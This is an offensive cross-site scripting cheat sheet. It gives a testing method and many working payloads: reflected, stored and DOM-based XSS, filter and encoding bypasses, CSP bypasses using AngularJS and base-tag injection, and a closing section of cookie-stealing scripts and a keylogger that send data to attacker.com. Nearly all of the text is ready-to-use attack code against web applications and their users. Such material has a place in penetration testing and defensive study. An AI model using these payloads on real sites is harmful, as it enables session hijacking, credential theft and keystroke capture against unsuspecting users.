Cross-Site Scripting (XSS)
Inject client-side scripts into web pages viewed by other users.
Methodology
- 1Identify all reflection/rendering points
- 2Determine context (HTML, attribute, JavaScript, URL, CSS)
- 3Craft context-appropriate payload
- 4Bypass filters (encoding, case, tag/event alternatives)
- 5Test for stored, reflected, and DOM-based XSS
Detailed Steps
Test every input for reflection:
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)Check where input is reflected:
- Inside HTML tags
- Inside HTML attributes
- Inside JavaScript code
- Inside URL parameters
- Inside CSS
Probe with unique string:
testXSS12345Search the response for this string to find all reflection points.
Inside HTML body:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>Inside an attribute:
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
" onfocus=alert(1) autofocus="
'><img src=x onerror=alert(1)>Inside JavaScript string:
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>Inside JavaScript template literal:
${alert(1)}Inside href/src:
javascript:alert(1)
data:text/html,<script>alert(1)</script>Payload is stored and served to other users:
Common injection points:
- Comment fields
- User profiles (name, bio, website)
- Forum posts
- File names on upload
- Email subject/body in webmail
- Product reviews
- Support tickets
Test payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>Self-contained data exfiltration:
<img src=x onerror="new Image().src='http://attacker.com/?c='+document.cookie">Payload never touches the server — executed purely in the browser.
Common sources:
document.URL
document.documentURI
location.href
location.search
location.hash
document.referrer
window.nameCommon sinks:
document.write()
innerHTML
outerHTML
eval()
setTimeout(string)
setInterval(string)
document.location
window.location
element.srcTest via URL hash:
http://target.com/page#<img src=x onerror=alert(1)>Tag blocked? Try alternatives:
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>Event handler blocked? Try:
<svg><animate onbegin=alert(1) attributeName=x>
<svg><set onbegin=alert(1) attributeName=x>
<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">clickEncoding bypass:
\u0061lert(1) → alert(1)
alert(1) → alert(1)
alert(1) → alert(1)
\x61lert(1) → alert(1)
eval(atob('YWxlcnQoMSk=')) → alert(1)Parentheses blocked:
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1Common CSP bypasses:
script-src 'self' → find an open redirect or JSONP on same origin
script-src cdn.js → find any JS file you can inject into on that CDN
script-src 'unsafe-eval' → eval(payload)
script-src 'unsafe-inline' → direct XSS worksUsing whitelisted domains:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>Base tag injection (if base-uri not restricted):
<base href="http://attacker.com/">→ All relative script paths now load from attacker
Policy analysis:
# Use Google CSP Evaluator
https://csp-evaluator.withgoogle.com/// Via image
<img src=x onerror="document.location='http://attacker.com/?c='+document.cookie">
// Via fetch
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>
// Via XMLHttpRequest
<script>
var x = new XMLHttpRequest();
x.open("GET","http://attacker.com/log?c="+document.cookie);
x.send();
</script>
// Keylogger
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/log?k='+e.key);
}
</script>